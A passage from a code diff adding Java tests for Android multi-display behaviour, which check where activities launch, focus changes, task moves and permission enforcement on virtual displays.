+ final ActivityManagerState.ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be on the primary display and resumed",
+ getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+ }
+
+ /**
+ * Tests launching a non-resizeable activity on virtual display from activity there. It should
+ * land on the secondary display based on the resizeability of the root activity of the task.
+ */
+ @Test
+ public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ BROADCAST_RECEIVER_ACTIVITY);
+
+ // Check that launching activity is on the secondary display.
+ int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ ActivityManagerState.ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be on the secondary display and resumed",
+ getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
+
+ // Launch non-resizeable activity from secondary display.
+ executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+ + "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+ // Check that non-resizeable activity is on the secondary display, because of the resizeable
+ // root of the task.
+ frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be on the primary display and resumed",
+ getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+ }
+
+ /**
+ * Tests launching a non-resizeable activity on virtual display from activity there. It should
+ * land on some different suitable display (usually - on the default one).
+ */
+ @Test
+ public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ LAUNCHING_ACTIVITY);
+
+ // Check that launching activity is on the secondary display.
+ int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ ActivityManagerState.ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be on the secondary display and resumed",
+ getActivityComponentName(LAUNCHING_ACTIVITY),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
+
+ // Launch non-resizeable activity from secondary display.
+ getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME)
+ .setNewTask(true).setMultipleTask(true).execute();
+
+ // Check that non-resizeable activity is on the primary display.
+ frontStackId = mAmWmState.getAmState().getFocusedStackId();
+ frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertFalse("Launched activity must be on a different display",
+ newDisplay.mDisplayId == frontStack.mDisplayId);
+ assertEquals("Launched activity must be resumed",
+ getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on a just launched activity", frontStackId);
+ }
+
+ /**
+ * Tests launching an activity on a virtual display without special permission must not be
+ * allowed.
+ */
+ @Test
+ public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ final String logSeparator = clearLogcat();
+
+ // Try to launch an activity and check it security exception was triggered.
+ final String broadcastTarget = "-a " + SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION"
+ + " -p " + SECOND_PACKAGE_NAME;
+ final String includeStoppedPackagesFlag = " -f 0x00000020";
+ executeShellCommand("am broadcast " + broadcastTarget
+ + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+ + " --es package_name " + componentName
+ + " --ei display_id " + newDisplay.mDisplayId
+ + includeStoppedPackagesFlag);
+
+ assertSecurityException("LaunchBroadcastReceiver", logSeparator);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ assertFalse("Restricted activity must not be launched",
+ mAmWmState.getAmState().containsActivity(TEST_ACTIVITY_NAME));
+ }
+
+ /**
+ * Tests launching an activity on a virtual display without special permission must be allowed
+ * for activities with same UID.
+ */
+ @Test
+ public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Try to launch an activity and check it security exception was triggered.
+ final String broadcastTarget = "-a " + componentName + ".LAUNCH_BROADCAST_ACTION"
+ + " -p " + componentName;
+ executeShellCommand("am broadcast " + broadcastTarget
+ + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+ + " --es package_name " + componentName
+ + " --ei display_id " + newDisplay.mDisplayId);
+
+ mAmWmState.waitForValidState(TEST_ACTIVITY_NAME);
+
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
+ .getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+ assertEquals("Activity launched by owner must be on external display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /**
+ * Tests launching an activity on virtual display and then launching another activity via shell
+ * command and without specifying the display id - the second activity must appear on the
+ * primary display.
+ */
+ @Presubmit
+ @Test
+ public void testConsequentLaunchActivity() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ TEST_ACTIVITY_NAME);
+
+ // Launch second activity without specifying display.
+ launchActivity(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ // Check that activity is launched in focused stack on primary display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(LAUNCHING_ACTIVITY), frontStack.mResumedActivity);
+ assertEquals("Front stack must be on primary display",
+ DEFAULT_DISPLAY_ID, frontStack.mDisplayId);
+ }
+
+ /**
+ * Tests launching an activity on simulated display and then launching another activity from the
+ * first one - it must appear on the secondary display, because it was launched from there.
+ */
+ @Presubmit
+ @Test
+ public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ // Launch second activity from app on secondary display without specifying display id.
+ getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ }
+
+ /**
+ * Tests launching an activity on virtual display and then launching another activity from the
+ * first one - it must appear on the secondary display, because it was launched from there.
+ */
+ @Test
+ public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ // Launch second activity from app on secondary display without specifying display id.
+ getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ }
+
+ /**
+ * Tests launching an activity on virtual display and then launching another activity from the
+ * first one with specifying the target display - it must appear on the secondary display.
+ */
+ @Test
+ public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
+ SECOND_ACTIVITY_NAME);
+ int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+
+ // Launch other activity with different uid and check if it has launched successfully.
+ final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ getLaunchActivityBuilder().setUseBroadcastReceiver(SECOND_PACKAGE_NAME, broadcastAction)
+ .setDisplayId(newDisplay.mDisplayId)
+ .setTargetActivityName(THIRD_ACTIVITY_NAME)
+ .setTargetPackage(THIRD_PACKAGE_NAME).execute();
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(THIRD_ACTIVITY_NAME).build());
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
+ THIRD_ACTIVITY_NAME);
+ frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ }
+
+ /**
+ * Tests launching an activity on virtual display and then launching another activity that
+ * doesn't allow embedding - it should fail with security exception.
+ */
+ @Test
+ public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ final String logSeparator = clearLogcat();
+
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+
+ assertSecurityException("ActivityLauncher", logSeparator);
+ }
+
+ /**
+ * Tests launching an activity to secondary display from activity on primary display.
+ */
+ @Test
+ public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Start launching activity.
+ launchActivity(LAUNCHING_ACTIVITY);
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity on secondary display from the app on primary display.
+ getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+
+ // Check that activity is launched on external display.
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ }
+
+ /**
+ * Tests launching activities on secondary and then on primary display to see if the stack
+ * visibility is not affected.
+ */
+ @Presubmit
+ @Test
+ public void testLaunchActivitiesAffectsVisibility() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Start launching activity.
+ launchActivity(LAUNCHING_ACTIVITY);
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch activity on primary display and check if it doesn't affect activity on secondary
+ // display.
+ getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
+ mAmWmState.waitForValidState(RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+ }
+
+ /**
+ * Test that move-task works when moving between displays.
+ */
+ @Presubmit
+ @Test
+ public void testMoveTaskBetweenDisplays() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(defaultDisplayStackId);
+ assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Focus must be on secondary display", TEST_ACTIVITY_NAME);
+ int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Focused stack must be on secondary display",
+ newDisplay.mDisplayId, focusedStack.mDisplayId);
+
+ // Move activity from secondary display to primary.
+ moveActivityToStack(TEST_ACTIVITY_NAME, defaultDisplayStackId);
+ mAmWmState.waitForFocusedStack(defaultDisplayStackId);
+ mAmWmState.assertFocusedActivity("Focus must be on moved activity", TEST_ACTIVITY_NAME);
+ focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Focus must return to primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+ }
+
+ /**
+ * Tests launching activities on secondary display and then removing it to see if stack focus
+ * is moved correctly.
+ * This version launches virtual display creator to fullscreen stack in split-screen.
+ */
+ // TODO(b/69573940): Add back to presubmit
+ @Test
+ public void testStackFocusSwitchOnDisplayRemoved() throws Exception {
+ if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+ // Start launching activity into docked stack.
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+ tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ }
+
+ /**
+ * Tests launching activities on secondary display and then removing it to see if stack focus
+ * is moved correctly.
+ * This version launches virtual display creator to docked stack in split-screen.
+ */
+ @Test
+ public void testStackFocusSwitchOnDisplayRemoved2() throws Exception {
+ if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+ // Setup split-screen.
+ launchActivityInDockStack(RESIZEABLE_ACTIVITY_NAME);
+
+ // Start launching activity into fullscreen stack.
+ launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+ tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ }
+
+ /**
+ * Tests launching activities on secondary display and then removing it to see if stack focus
+ * is moved correctly.
+ * This version works without split-screen.
+ */
+ @Test
+ public void testStackFocusSwitchOnDisplayRemoved3() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Start an activity on default display to determine default stack.
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+ final int focusedStackWindowingMode =
+ mAmWmState.getAmState().getFrontStackWindowingMode(DEFAULT_DISPLAY_ID);
+ // Finish probing activity.
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+ tryCreatingAndRemovingDisplayWithActivity(
+ false /* splitScreen */, focusedStackWindowingMode);
+ }
+
+ /**
+ * Create a virtual display, launch a test activity there, destroy the display and check if test
+ * activity is moved to a stack on the default display.
+ */
+ private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int windowingMode)
+ throws Exception {
+ // Create new virtual display.
+ final VirtualDisplayBuilder builder = new VirtualDisplayBuilder(this)
+ .setPublicDisplay(true);
+ if (splitScreen) {
+ builder.setLaunchInSplitScreen(true);
+ }
+ final DisplayState newDisplay = builder.build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ if (splitScreen) {
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+ }
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+ TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ // Destroy virtual display.
+ destroyVirtualDisplays();
+ mAmWmState.waitForValidState(TEST_ACTIVITY_NAME, windowingMode, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertSanity();
+ mAmWmState.assertValidBounds(true /* compareTaskAndStackBounds */);
+
+ // Check if the focus is switched back to primary display.
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+ mAmWmState.assertFocusedStack(
+ "Default stack on primary display must be focused after display removed",
+ windowingMode, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedActivity(
+ "Focus must be switched back to activity on primary display",
+ TEST_ACTIVITY_NAME);
+ }
+
+ /**
+ * Tests launching activities on secondary display and then removing it to see if stack focus
+ * is moved correctly.
+ */
+ @Test
+ public void testStackFocusSwitchOnStackEmptied() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+ BROADCAST_RECEIVER_ACTIVITY);
+
+ // Lock the device, so that activity containers will be detached.
+ sleepDevice();
+
+ // Finish activity on secondary display.
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+ // Unlock and check if the focus is switched back to primary display.
+ wakeUpAndUnlockDevice();
+ mAmWmState.waitForFocusedStack(focusedStackId);
+ mAmWmState.waitForValidState(VIRTUAL_DISPLAY_ACTIVITY);
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ }
+
+ /**
+ * Tests that input events on the primary display take focus from the virtual display.
+ */
+ @Test
+ public void testStackFocusSwitchOnTouchEvent() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+ mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+ VIRTUAL_DISPLAY_ACTIVITY);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ TEST_ACTIVITY_NAME);
+
+ final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+ final int width = displayMetrics.getWidth();
+ final int height = displayMetrics.getHeight();
+ executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+ mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ }
+
+ /** Test that shell is allowed to launch on secondary displays. */
+ @Test
+ public void testPermissionLaunchFromShell() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+ assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+ TEST_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Launch other activity with different uid and check it is launched on dynamic stack on
+ // secondary display.
+ final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME
+ + " --display " + newDisplay.mDisplayId;
+ executeShellCommand(startCmd);
+
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app", SECOND_PACKAGE_NAME,
+ SECOND_ACTIVITY_NAME);
+ assertEquals("Activity launched by system must be on external display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /** Test that launching from app that is on external display is allowed. */
+ @Test
+ public void testPermissionLaunchFromAppOnSecondary() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity with different uid on secondary display.
+ final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+ final String displayTarget = " --display " + newDisplay.mDisplayId;
+ executeShellCommand(startCmd + displayTarget);
+
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Launch another activity with third different uid from app on secondary display and check
+ // it is launched on secondary display.
+ final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
+ + " --es package_name " + THIRD_PACKAGE_NAME
+ + " --ei display_id " + newDisplay.mDisplayId;
+ final String includeStoppedPackagesFlag = " -f 0x00000020";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+ + targetActivity + includeStoppedPackagesFlag);
+
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(THIRD_ACTIVITY_NAME).build());
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
+ assertEquals("Activity launched by app on secondary display must be on that display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /** Tests that an activity can launch an activity from a different UID into its own task. */
+ @Test
+ public void testPermissionLaunchMultiUidTask() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ // Check that the first activity is launched onto the secondary display
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ ActivityManagerState.ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(LAUNCHING_ACTIVITY),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ // Launch an activity from a different UID into the first activity's task
+ getLaunchActivityBuilder()
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setTargetActivityName(SECOND_ACTIVITY_NAME).execute();
+
